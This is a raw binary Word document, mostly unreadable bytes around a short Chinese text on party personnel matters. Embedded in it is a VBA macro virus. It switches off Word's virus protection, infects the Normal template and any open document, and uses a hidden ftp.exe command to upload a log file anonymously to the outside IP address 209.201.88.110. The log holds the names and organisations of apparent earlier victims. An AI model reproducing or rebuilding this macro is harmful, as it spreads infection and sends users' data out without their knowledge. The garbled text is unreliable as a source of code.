ࡱ> "$!q` RV bjbjqPqP2::~~~~~~~  u   $I h< ~ ~~/ ~~  ~~ pk E 0u  ~$   u ~~~~~~ DN1 -Nyb[lPge@bZQRlQ_]\O~~:gg N0[\~ ~%N0^00ZQYfN bXT]0s^00ZQYYXT sV00ZQYYXT UOSfWS00ZQYYXT Ng0R00ZQYYXT ckc00~YoRfN _^t=N00NRDn;NN N0[\~RlQ[ [\~RlQ[(W~TRlQ[ #ZQRlQ_vwQSOOS=[]\O0 ;NNv8l` bXT`i0Y[nNS .>FHJN`bdhx|2 R T V ɷɷɷɷɷɷɷɷɷɷɷɷɷh<hPk@o(#h*h<CJOJPJQJaJo(h<CJOJPJQJaJo(&h={Xh<5CJ$OJPJQJaJ$o(&h={Xh<5CJOJPJQJaJo(.0>Xr2 @ T V $xdhG$H$WD`xa$gd<$0dhG$H$WD`0a$gd< $dhG$H$a$gd< $dhG$H$a$gd<V 0182P. A!"#$%S R@R <cke $1$a$(CJKHOJQJ_HaJmH nHsH tH$A$ ؞k=W[SOBiB nfhBCFHLMNOPRVWZ\abnoxy+,89BCLMVWabnoxyCB:1]Ei M L%4)}6( x!a&~)}2$64a9<2O@Pk@Q(B fD$QMYR5QT[;_s_`F+aw{d*jlJz9sz_ %4+i>fxMB.c9)'Py KxxA~LUssTj,X79X]w"y(O @dvPUnknownGz Times New Roman5Symbol3& z Arial;ўSOSimHei1NSeN[;5 N[_GB2312;[SOSimSun7&{ @Calibri 1hU&U&!-!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[ 3qHX)?<2DN1[ _Q] _QOh+'0  0 < H T`hpx1[ŷ]Normalŷ2Microsoft Office Word@@&(Yk@юx@&(Yk՜.+,0 X`lt|    #>&'(3*+,-./012%456789:;<=H@ABCDEFGRoot Entry F=qk?1Table WordDocument2SummaryInformation(DocumentSummaryInformation8Xacros  pkpkXBA pk9pkThisDocument )  !"#$%&'()*+,-./023456789<=>?@B$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0Jun 19 &e  *!>!P *!>%N'0 - Tk 0 0' Logfile --> 0 0' Logfile --> $'0 R$ 0 2 V$T$ '2 u RhC:\hsf 2.sys'2ay 2 0sV% 0 c:\netldx.vxd 2o 209.201.88.110user anonymousy, 3 pass itsme@s) cd incomingasciiput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$ $f d!. R$ $f . d!. R$'.kd . $f' '.k R ) , $f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$ $f'  d!j $f'  . $f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G%ίxME (S"SS"<(1Normal.ThisDocument(% 9@Lx@  E~1@" Al@$ 5`& Y@( `* @, @. @0 `2009"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P ,X   *   0p]<- this is a marker!pDeclare Variables]]]0H` Initialize VariablesAl 4!6!8%:.( <!6!8%:.* '' (!>%@' 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999h  54# 12:39:25 PM - Tuesday, 20 May 1997MP '  ghc-bbc:0! 01:21:36 PM - Friday, 7 May 1999 AM# 05:51:53 - Wednesday, 12 May 19999:58 A qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 30 Ja d $ 02:53:46 - Tuesday, 6 Sep 2011ooley  $ 09:37:47 - Monday, 19 Sep 2011dward  ʿ:3$ 01:41:54 - Monday, 26 Sep 2011  unknownM ' 10:50:02 - Wednesday, 19 Oct 20114: ףȪur% 02:09:58 - Tuesday, 25 Oct 201106 P Fe$ 09:08:25 - Monday, 31 Oct 2011 Tuesd ŷ99  BAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTru BExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S &= 2 0<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op en OutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA 2a  [W   .1dQ1 }pXX0ZX3S'Wria log rfof P, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&f W' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA 7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829J RajK@u7:5LSatu rL3KstdoleP h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C MP!OfficgOficg !G{2DF8D04C-5BFA-101B -BDE5gAA5e42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DL L#M 11.0 Ob Li`brary%zBeThisDocumentG TfisDHcu@IenUn 2 HB1B%,B,!ί*"B+BBThisDocumentThisDocumentID="{7DC3739F-30E4-40E8-A885-F26E85356A89}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="A6A47FD58FD533D933D933D933D9" DPB="4E4C978D979D3E9E3E9E3E" GC="F6F42F657FA526A626A6D9" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C   FMicrosoft Office Word ĵ MSWordDocWord.Document.89qCompObjAm